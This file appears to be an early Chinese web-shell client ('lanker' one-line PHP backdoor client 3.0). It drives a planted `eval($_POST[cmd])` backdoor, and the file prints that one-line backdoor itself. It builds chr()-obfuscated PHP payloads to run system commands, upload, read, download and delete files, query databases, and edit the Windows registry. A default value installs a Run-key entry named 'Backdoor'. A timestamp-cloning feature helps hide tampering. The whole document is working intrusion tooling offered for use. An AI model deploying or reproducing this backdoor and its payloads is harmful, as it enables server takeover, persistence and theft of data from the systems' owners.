<HTML><HEAD> <!-- codz by LANKER(QQ:18779569) 2005/1/1--> <META content="text/html; charset=gb2312" http-equiv=Content-Type> <META content="MSHTML 5.00.2614.3500" name=GENERATOR> <style> <!-- td {font-size:8pt; color: #666666;font-family:Verdana} INPUT {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff} textarea {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff} select {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff} BODY {font-size:9pt; color: #666666;font-family:Verdana; SCROLLBAR-FACE-COLOR: #ffffff; background color:#eeeeee;cursor:SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #aaaaaa; SCROLLBAR-3DLIGHT-COLOR: #aaaaaa; SCROLLBAR-ARROW-COLOR: #dddddd; SCROLLBAR-TRACK-COLOR: #ffffff; SCROLLBAR-DARKSHADOW-COLOR: #ffffff } a:link {text-decoration:none; color:#336699} a:visited {text-decoration:none; color:#336699} a:active {text-decoration:none; color:#336699} a:hover {COLOR: #b4c8d8; } .tb {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#cccccc} .tb0 {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#fcfcfc} .tb1 {background-color:#ffffff} </style> --> </STYLE> </HEAD> <BODY style="FONT-SIZE: 9pt" bgcolor="#cccccc"> <CENTER style="cursor:hand;"> <font color="#000080"> lankerһ�仰PHP���ſͻ���3.0</font><FONT color=#ff3300>�ڲ���</font> </CENTER> <hr size="1" color="#000080"> <FORM ENCTYPE="multipart/form-data" name=frm method=post target=qq2> <TABLE style="FONT-SIZE: 9pt"> <TD width=750 height=10>���ŵ�ַ: <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=60 value=http://127.0.0.1/door.php name=act> ����: <INPUT ���� style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=10 value=cmd name=para>��������<textarea rows='1' name='tmpcmd' cols='23'><?php eval($_POST[cmd]?;></textarea></TD></TABLE> <TABLE width=750 > <TD bgcolor=#ffffff><TABLE style="FONT-SIZE: 9pt" ><tr width=200 height=10> <select onchange="showDiv(this.value);"> <option value="digest" >----���������б�----</option> <option value="2" >PHP��������</option> <option value="16" >������������Ϣ</option> <option value="1" >������Ŀ¼</option> <option value="3" >ִ��CMD����</option> <option value="17" >����CMD����</option> <option value="6" >��ȡĿ¼</option> <option value="14" >����Ŀ¼</option> <option value="15" >ɾ��Ŀ¼</option> <option value="4" >�ϴ��ļ�</option> <option value="5" >��ȡ�ļ�</option> <option value="12" >�����ļ�</option> <option value="7" >�����ļ�</option> <option value="8" >�������ļ�</option> <option value="9" >ɾ���ļ�</option> <option value="13" >�����ļ�</option> <option value="21" >��¡�ļ�ʱ��</option> <option value="22" >���ߴ���</option> <option value="11" >ִ��SQL���</option> <option value="18" >��ȡע���</option> <option value="19" >д��ע���</option> <option value="20" >ɾ��ע���</option> <option value="10" >ר��ģʽ(�Լ�д����)</option> </select></tr><tr height=260><TD id="yunxing" ><FONT color=#ff3300>LANKER��PHP���ŷ���˴��룺<br><?php eval($_POST[cmd])?><hr size="1" color="#000080"><br>�ݴ�����Ϊ��<br><?php @eval($_POST[cmd])?></font><TD></tr></TABLE></td><td><TABLE style="FONT-SIZE: 9pt"><IFRAME border=1 height=340 width=580 name=qq2 marginwidth=0 marginheight=0 vspace=0 src="about:blank" frameborder=no scrolling=auto></IFRAME></TABLE></td></table> </form> <hr size="1" color="#000000"> <CENTER> <center> <FONT color=#ff3300>����:�˰�Ϊ�ڲ��棬δ����Ȩ�����Ͻ��������˺��ṩ�������أ�лл������By lanker</font></center> </BODY></HTML> <script language="javascript"> function showDiv(aa){ switch(aa) { case "2": yunxing.innerHTML="<p align='center'>������Ŀ¼<br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"echo dirname(__FILE__);\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "1": yunxing.innerHTML="PHP��������<br>" yunxing.innerHTML+="<p align='center'><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"phpinfo();\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "3": yunxing.innerHTML="<p align='center'>ִ�к���:<br><select name='execfun'><option value='system' selected>system</option><option value='syscom'>����COM����(����WINNT)</option><option value='passthru'>passthru</option><option value='`'>������(`)</option><option value='shell_exec'>shell_exec</option><option value='exec'>exec</option><option value='popen'>popen</option></select><br><br>����:<br><INPUT size=24 name=\"cmdname\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;cmd();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "4": yunxing.innerHTML="�ļ�·��(����Ϊ��ǰĿ¼)<br><input type=text name='uploaddir' value='c:/lanker' size=24><p align='center'><input NAME='LanKerF' TYPE='file' size=13><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;upfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "5": yunxing.innerHTML="<p align='center'>�ļ���:<br><INPUT size=24 name=\"duqu\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "6": yunxing.innerHTML="<p align='center'>Ŀ¼��:<br><INPUT size=24 name=\"duqu\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "7": yunxing.innerHTML="<p align='center'>�ļ�1:<br><INPUT size=24 name=\"file1\"><br>�ļ�2:<br><INPUT size=24 name=\"file2\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;copyfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "8": yunxing.innerHTML="<p align='center'>�ļ�1:<br><INPUT size=24 name=\"file1\"><br>�ļ�2:<br><INPUT size=24 name=\"file2\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;renamefile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "9": yunxing.innerHTML="<p align='center'>�ļ���:<br><INPUT size=24 name=\"filen\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;delfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "10": yunxing.innerHTML="<p align='center'><textarea rows='12' name='duqu' cols='22'>phpinfo();</textarea>" yunxing.innerHTML+="<INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=frm.duqu.value;frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br>�ַ�ת������:<hr size='1' color='#000000'>Ҫת�����ַ�:<br><INPUT type=text name=\"inputstr\" size='23' ><br>ת������ַ�:<br><textarea cols='22' rows=\"4\" name=\"chrstr\" ></textarea><br><INPUT type=button name=strtxtdd onclick=\"ascchar()\" value=\"ת ��\" >" break; case "11": yunxing.innerHTML="������<input NAME=\"servername\" TYPE=\"text\" value=\"localhost\" size=\"12\" ><BR>���ݿ⣺<input NAME=\"dbname\" TYPE=\"text\" value size=\"10\" > <BR>�û�����<input NAME=\"dbusername\" TYPE=\"text\" value=\"root\" size=\"10\" > <BR>���룺<input NAME=\"dbpassword\" TYPE=\"text\" value size=\"12\" > <BR>SQL���:<BR><textarea rows=\"8\" name=\"sql\" cols=\"20\" ></textarea>" yunxing.innerHTML+="<br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;SQL();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send>" break; case "12": yunxing.innerHTML="<p align='center'>�ļ���:<INPUT size=14 name=\"filen\"><br>�ļ�����:<BR><textarea rows=\"16\" name=\"filec\" cols=\"20\" ></textarea><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "13": yunxing.innerHTML="<p align='center'>�ļ���:<br><INPUT size=24 name=\"filen\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;downfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "14": yunxing.innerHTML="<p align='center'>Ŀ¼��:<br><INPUT size=24 name=\"dir\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "15": yunxing.innerHTML="<p align='center'>Ŀ¼��:<br><INPUT size=24 name=\"dir\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;rmdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "16": yunxing.innerHTML="<p align='center'>������������Ϣ<br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;info();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "17": yunxing.innerHTML="<p align='center'>�ļ�:<br><INPUT size=24 name=\"cmdpath\" value=\"c:/winnt/system32/cmd.exe\"><br>����:<br><INPUT size=24 name=\"runfile\" value=\"/c net user > c:/log.txt\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;runcmd();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "18": yunxing.innerHTML="<p align='center'>��ֵ:<br><INPUT size=24 name=\"regpath\" value=\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readreg();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "19": yunxing.innerHTML="<p align='center'>��ֵ:<br><INPUT size=24 name=\"regpath\" value=\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\"><br>����:<select name='regtype'><option value='REG_SZ' selected>REG_SZ</option><option value='REG_BINARY' >REG_BINARY</option><option value='REG_DWORD' >REG_DWORD</option><option value='REG_MULTI_SZ' >REG_MULTI_SZ</option><option value='REG_EXPAND_SZ' >REG_EXPAND_SZ</option></select><br>ֵ:<INPUT size=24 name=\"regval\" value=\"c:\\winnt\\backdoor.exe\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;writereg();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "20": yunxing.innerHTML="<p align='center'>��ֵ:<br><INPUT size=24 name=\"regpath\" value=\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;delreg();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "21": yunxing.innerHTML="<p align='center'>�����ļ�:<br><INPUT size=24 name=\"file1\" value=\"c:\\boot.ini\"><br>��¡�ļ�:<br><INPUT size=24 name=\"file2\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;domodtime();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; case "22": yunxing.innerHTML="<p align='center'>URL:<INPUT size=24 name=\"url\"><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;urlproxy();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" break; } } function urlproxy(){ frm.tmpcmd.value="$url=" frm.tmpcmd.value+=duqu(frm.url.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if (isset($url)) {$proxycontents = @file_get_contents($url);\n" frm.tmpcmd.value+=" echo ($proxycontents) ? $proxycontents:��ȡURL����ʧ��;}\n" } function domodtime(){ frm.tmpcmd.value="$file1=" frm.tmpcmd.value+=duqu(frm.file1.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$file2=" frm.tmpcmd.value+=duqu(frm.file2.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$time=@filemtime($file1);\n" frm.tmpcmd.value+="echo (@touch($file2,$time,$time)) ? basename($file2).����ʱ��ɹ���Ϊ.date(chr(89).chr(45).chr(109).chr(45).chr(100).chr(32).chr(72).chr(58).chr(105).chr(58).chr(115),$time).chr(33) : �ļ�����ʱ����ʧ��;\n" } function writereg(){ frm.tmpcmd.value="$regpath=" frm.tmpcmd.value+=duqu(frm.regpath.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$regtype=" frm.tmpcmd.value+=duqu(frm.regtype.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$regval=" frm.tmpcmd.value+=duqu(frm.regval.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$s= &new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108));\n" frm.tmpcmd.value+="$a=@$s->RegWrite($regpath,$regval,$regtype);\n" frm.tmpcmd.value+="echo ($a==0) ? chr(79).chr(75).chr(33) : chr(70).chr(65).chr(73).chr(76).chr(33);" } function delreg(){ frm.tmpcmd.value="$regpath=" frm.tmpcmd.value+=duqu(frm.regpath.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$s= &new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108));" frm.tmpcmd.value+="$a=@$s->RegDelete($regpath);\n" frm.tmpcmd.value+="echo ($a==0) ? chr(79).chr(75).chr(33) : chr(70).chr(65).chr(73).chr(76).chr(33);" } function readreg(){ frm.tmpcmd.value="$regpath=" frm.tmpcmd.value+=duqu(frm.regpath.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$shell= &new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108));" frm.tmpcmd.value+="var_dump(@$shell->RegRead($regpath));\n" } function runcmd(){ frm.tmpcmd.value="$a=" frm.tmpcmd.value+=duqu(frm.cmdpath.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$b=" frm.tmpcmd.value+=duqu(frm.runfile.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$s= &new COM(chr(83).chr(104).chr(101).chr(108).chr(108).chr(46).chr(65).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110));\n" frm.tmpcmd.value+="$c = $s->ShellExecute($a,$b);\n" frm.tmpcmd.value+="if(!$c) echo chr(79).chr(75).chr(33);\n" } function cmd(){ if (frm.execfun.value =='syscom'){ frm.tmpcmd.value="$cmd=" frm.tmpcmd.value+=duqu(frm.cmdname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n" frm.tmpcmd.value+="$wsh = new COM(chr(87).chr(83).chr(99).chr(114).chr(105).chr(112).chr(116).chr(46).chr(83).chr(104).chr(101).chr(108).chr(108)) or die(chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(33));\n" frm.tmpcmd.value+="$exec = $wsh->exec(chr(99).chr(109).chr(100).chr(46).chr(101).chr(120).chr(101).chr(32).chr(47).chr(99).chr(32).$cmd);\n" frm.tmpcmd.value+="$stdout = $exec->StdOut ();\n" frm.tmpcmd.value+="$stroutput = $stdout->ReadAll ();\n" frm.tmpcmd.value+="echo ($stroutput);\n" frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n" } else{ if (frm.execfun.value =='`'){ frm.tmpcmd.value="$cmd=" frm.tmpcmd.value+=duqu(frm.cmdname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n" frm.tmpcmd.value+="echo" frm.tmpcmd.value+=frm.execfun.value frm.tmpcmd.value+="$cmd" frm.tmpcmd.value+=frm.execfun.value frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n" } else{ frm.tmpcmd.value="$cmd=" frm.tmpcmd.value+=duqu(frm.cmdname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n" frm.tmpcmd.value+="echo " frm.tmpcmd.value+=frm.execfun.value frm.tmpcmd.value+="($cmd);\n" frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n" } } } function copyfile(){ frm.tmpcmd.value="$file1=" frm.tmpcmd.value+=duqu(frm.file1.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$file2=" frm.tmpcmd.value+=duqu(frm.file2.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if (@copy($file1,$file2)) echo chr(79).chr(75).chr(33);\n" } function renamefile(){ frm.tmpcmd.value="$file1=" frm.tmpcmd.value+=duqu(frm.file1.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$file2=" frm.tmpcmd.value+=duqu(frm.file2.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if (@rename($file1,$file2)) echo chr(79).chr(75).chr(33);\n" } function downfile(){ frm.tmpcmd.value="$df=" frm.tmpcmd.value+=duqu(frm.filen.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$f=chr(46);" frm.tmpcmd.value+="$h=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(116).chr(121).chr(112).chr(101).chr(58).chr(32).chr(97).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(47).chr(120).chr(45);\n" frm.tmpcmd.value+="$h1=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(68).chr(105).chr(115).chr(112).chr(111).chr(115).chr(105).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(97).chr(116).chr(116).chr(97).chr(99).chr(104).chr(109).chr(101).chr(110).chr(116).chr(59).chr(32).chr(102).chr(105).chr(108).chr(101).chr(110).chr(97).chr(109).chr(101).chr(61);\n" frm.tmpcmd.value+="$h2=(68).chr(101).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(80).chr(72).chr(80).chr(51).chr(32).chr(71).chr(101).chr(110).chr(101).chr(114).chr(97).chr(116).chr(101).chr(100).chr(32).chr(68).chr(97).chr(116).chr(97);\n" frm.tmpcmd.value+="$h3=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(76).chr(101).chr(110).chr(103).chr(116).chr(104).chr(58);\n" frm.tmpcmd.value+="$fn = @basename($df);\n" frm.tmpcmd.value+="$fe = $finfo[count($finfo)-1];\n" frm.tmpcmd.value+="$finfo = explode($f, $fn);\n" frm.tmpcmd.value+="header($h.$fe);\n" frm.tmpcmd.value+="header($h1.$fn);\n" frm.tmpcmd.value+="header($h2);\n" frm.tmpcmd.value+="header($h3.filesize($df));\n" frm.tmpcmd.value+="@readfile($df);\n" frm.tmpcmd.value+="exit;\n" } function readfile(){ frm.tmpcmd.value="$filename=" frm.tmpcmd.value+=duqu(frm.duqu.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$s=chr(60).chr(112).chr(114).chr(101).chr(62);\n" frm.tmpcmd.value+="$e=chr(60).chr(47).chr(112).chr(114).chr(101).chr(62);\n" frm.tmpcmd.value+="$fp=@fopen($filename,r);\n" frm.tmpcmd.value+="$contents=@fread($fp, filesize($filename));\n" frm.tmpcmd.value+="@fclose($fp);\n" frm.tmpcmd.value+="$contents=htmlspecialchars($contents);\n" frm.tmpcmd.value+="echo $s.$contents.$e;\n" } function readdir(){ frm.tmpcmd.value="$dir=" frm.tmpcmd.value+=duqu(frm.duqu.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$f = chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="$dir=@dir($dir);" frm.tmpcmd.value+="if($dir) " frm.tmpcmd.value+="{" frm.tmpcmd.value+=" echo path_______.$dir->path.$f;" frm.tmpcmd.value+=" while($entry=$dir->read())" frm.tmpcmd.value+=" {" frm.tmpcmd.value+=" echo ____.$entry.$f; " frm.tmpcmd.value+=" }" frm.tmpcmd.value+=" $dir->close();" frm.tmpcmd.value+="}" frm.tmpcmd.value+="else" frm.tmpcmd.value+="{echo 0;}" } function SQL(){ frm.tmpcmd.value="$message=chr(102).chr(97).chr(105).chr(108).chr(33);\n" frm.tmpcmd.value+="$fgf=chr(32);\n" if(frm.dbpassword.value !=''){ frm.tmpcmd.value+="$dbpassword= " frm.tmpcmd.value+=duqu(frm.dbpassword.value) frm.tmpcmd.value+=";\n" } frm.tmpcmd.value+="$servername=" frm.tmpcmd.value+=duqu(frm.servername.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$dbusername=" frm.tmpcmd.value+=duqu(frm.dbusername.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$dbname=" frm.tmpcmd.value+=duqu(frm.dbname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$sql=" frm.tmpcmd.value+=duqu(frm.sql.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="@mysql_connect($servername,$dbusername,$dbpassword) or die($message);\n" frm.tmpcmd.value+="@mysql_select_db($dbname) or die($message);\n" frm.tmpcmd.value+="$sql=stripslashes($sql);\n" frm.tmpcmd.value+="$result = @mysql_query($sql);\n" frm.tmpcmd.value+="while($row=mysql_fetch_array($result,MYSQL_BOTH)){\n" frm.tmpcmd.value+="for($j=0;$j<count($row);$j++){\n" frm.tmpcmd.value+="print($row[$j].$fgf);}\n" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);}\n" frm.tmpcmd.value+="mysql_free_result($result);\n" frm.tmpcmd.value+="mysql_close();\n" } function createfile(){ frm.tmpcmd.value="$filen=" frm.tmpcmd.value+=duqu(frm.filen.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$filec=" frm.tmpcmd.value+=duqu(frm.filec.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$a=chr(119);\n" frm.tmpcmd.value+="$fp=@fopen($filen,$a);\n" frm.tmpcmd.value+="$msg=@fwrite($fp,$filec);\n" frm.tmpcmd.value+="if($msg) echo chr(79).chr(75).chr(33);\n" frm.tmpcmd.value+="@fclose($fp);\n" } 11111111111111111 function delfile(){ frm.tmpcmd.value="$filen=" frm.tmpcmd.value+=duqu(frm.filen.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if(@unlink($filen)) echo chr(79).chr(75).chr(33);" } function createdir(){ frm.tmpcmd.value="$dirs=" frm.tmpcmd.value+=duqu(frm.dir.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if(@mkdir($dirs,0777)) echo chr(79).chr(75).chr(33);" } function rmdir(){ frm.tmpcmd.value="$dirs=" frm.tmpcmd.value+=duqu(frm.dir.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if(@rmdir($dirs)) echo chr(79).chr(75).chr(33);" } function upfile(){ frm.tmpcmd.value="$uploaddir=" frm.tmpcmd.value+=duqu(frm.uploaddir.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value="if (strlen($uploaddir)<1){\n" frm.tmpcmd.value+="$updir=$_FILES[LanKerF][name];}\n" frm.tmpcmd.value+="else{\n" frm.tmpcmd.value+="$updir=$uploaddir.chr(47).$_FILES[LanKerF][name];}\n" frm.tmpcmd.value+="if(@copy($_FILES[LanKerF][tmp_name],$updir)) echo upfile.chr(58).$updir.chr(32).chr(32).OK.chr(33);" } function ascchar(){ frm.chrstr.value=duqu(frm.inputstr.value) } function info(){ frm.tmpcmd.value="echo ������ϵͳ.chr(58);" frm.tmpcmd.value+="echo PHP_OS;" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo ����������ϵͳ���ֱ���.chr(58);" frm.tmpcmd.value+="echo $_SERVER[HTTP_ACCEPT_LANGUAGE];" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo ������IP.chr(58);" frm.tmpcmd.value+="echo $_SERVER[SERVER_NAME];" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo Web����˿ڶ˿�.chr(58);" frm.tmpcmd.value+="echo $_SERVER[SERVER_PORT];" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo PHP���з�ʽ.chr(58);" frm.tmpcmd.value+="echo strtoupper(php_sapi_name());" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo PHP�汾.chr(58);" frm.tmpcmd.value+="echo PHP_VERSION;" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo ���ļ�·��.chr(58);" frm.tmpcmd.value+="echo $_SERVER[PATH_TRANSLATED];" } </script> <script > function duqu(strcode){ var duqu=""; for(i=1;i<strcode.length;i++){ if(strcode.charCodeAt(i-1)<256){ duqu+="chr("+strcode.charCodeAt(i-1)+")."; } else duqu+=strcode.charAt(i-1)+"."; } if(strcode.charCodeAt(i-1)<256){ duqu+="chr("+strcode.charCodeAt(strcode.length-1)+")"; } else duqu+=strcode.charAt(strcode.length-1); return duqu } </script>